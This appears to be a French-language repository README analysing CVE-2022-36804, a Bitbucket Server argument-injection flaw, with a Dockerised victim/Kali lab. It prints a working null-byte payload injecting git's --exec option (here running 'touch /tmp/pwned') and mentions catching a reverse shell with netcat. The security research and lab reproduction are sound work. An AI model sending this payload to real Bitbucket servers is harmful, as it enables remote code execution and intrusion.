
Reproduction complète de la chaîne d'attaque de CVE-2022-36804 (RCE Bitbucket). Comprend un laboratoire dockerisé, une supervision pspy64 pour la vérification de l'injection d'octet nul, et un script d'exploitation Bash personnalisé. Basé sur les recherches d'Assetnote.
CVE-2022-36804 est une vulnérabilité d'injection d'arguments de criticité élevée/critique dans l'API REST d'Atlassian Bitbucket Server et Data Center.
Bien que le score de base officiel de la NVD (National Vulnerability Database) soit de 8,8 (Élevé), basé sur l'hypothèse de privilèges de lecture requis (PR:L), cette analyse la traite comme une faille 9,8 (Critique) (PR:N). Si un dépôt cible a l'accès public activé — une configuration courante — le vecteur d'exploitation devient entièrement pré-authentifié.
Ce dépôt documente une reproduction complète en laboratoire de la chaîne d'exploitation, directement basée sur les recherches techniques publiées par Assetnote.
L'analyse détaille le passage de l'orchestration de l'environnement et du contournement des filtres de sécurité à l'obtention d'un shell inverse interactif. Comme indiqué dans la découverte originale, cette faille permet une exécution de commande à distance (RCE), qui peut être exploitée sans authentification si le dépôt cible a l'accès public activé.
La vulnérabilité est ancrée dans une « désadaptation d'impédance d'assainissement » entre l'environnement d'exécution de l'application Java et le système d'exploitation Linux.
Comme le souligne la recherche d'Assetnote, Bitbucket utilise la bibliothèque NuProcess pour construire et exécuter les commandes Git. Lorsqu'un utilisateur fournit un paramètre prefix au point de terminaison /archive, Bitbucket ne supprime pas les caractères nuls (%00) avant de transmettre la liste d'arguments au système d'exploitation.
execve() traite la commande, il coupe la chaîne à %00. À cause de la manière dont NuProcess transmet les données, le système d'exploitation traite tout ce qui suit l'octet nul comme un tout nouvel argument de ligne de commande.En injectant --exec=..., un attaquant s'échappe de l'option --prefix prévue et force le processus git archive à exécuter un binaire arbitraire, conduisant à une exécution de commande à distance (RCE).
Pour comprendre comment l'exploit passe d'un simple paramètre d'URL à une commande au niveau du système d'exploitation, nous devons disséquer la structure de la charge utile et observer le « décalage de tableau ».
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| Composant | Objectif | Rôle technique |
|---|---|---|
prefix=x | Exigence | git archive a besoin d'un préfixe ; x sert d'espace réservé. |
%00 | Le couteau | Octet nul. Java le transmet, mais le noyau Linux en C termine la chaîne ici. |
--exec=... | Le déclencheur RCE | L'option dangereuse. Détourne la fonctionnalité intégrée de Git pour exécuter des programmes externes. |
touch ... | L'action | La commande à exécuter. PoC sûr pour vérifier la RCE. |
--remote=... | La poubelle | Consomme l'ID de commit (ajouté par Bitbucket) comme argument valide, garantissant que la commande s'exécute proprement sans erreur de syntaxe. |
Ceci illustre le cœur de la vulnérabilité : comment une donnée (un préfixe de répertoire) est transformée en une instruction (une option de commande).
Contexte d'exécution de Java (état initial) :
Java voit une chaîne unique et longue comme troisième argument.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Exécution du noyau Linux (état exploité) :
L'appel système execve() du noyau divise la chaîne à chaque octet nul (\0), déplaçant les options injectées dans leurs propres positions autonomes dans le tableau d'arguments du processus.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]
Pour simuler une surface d'attaque réaliste, l'environnement de laboratoire utilise une architecture à deux conteneurs isolée au sein d'un réseau Docker bridge (hacking_net). Cette configuration garantit que l'exploitation et la surveillance peuvent être effectuées dans un environnement contrôlé sans affecter le système hôte.
Nœud victime : Exécute Atlassian Bitbucket Server version 7.17.1. Le conteneur est intentionnellement nommé bitbucket-victim. Cela reflète un raffinement de conception critique visant à assurer la conformité avec l'application de la RFC 7230 d'Apache Tomcat. En utilisant un trait d'union au lieu d'un tiret bas, l'environnement évite les erreurs 400 « Invalid Character » qui se produisent lors de l'exécution de la charge utile — un obstacle technique clé identifié et résolu pendant la phase de recherche.
Nœud attaquant : Une image Kali Linux rolling personnalisée. Contrairement à une image standard, ce nœud est préconfiguré avec l'ensemble d'outils spécifique requis pour cette chaîne d'exploitation : git pour la manipulation du dépôt, curl pour la livraison de la charge utile et netcat-traditional pour capturer le shell inverse.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]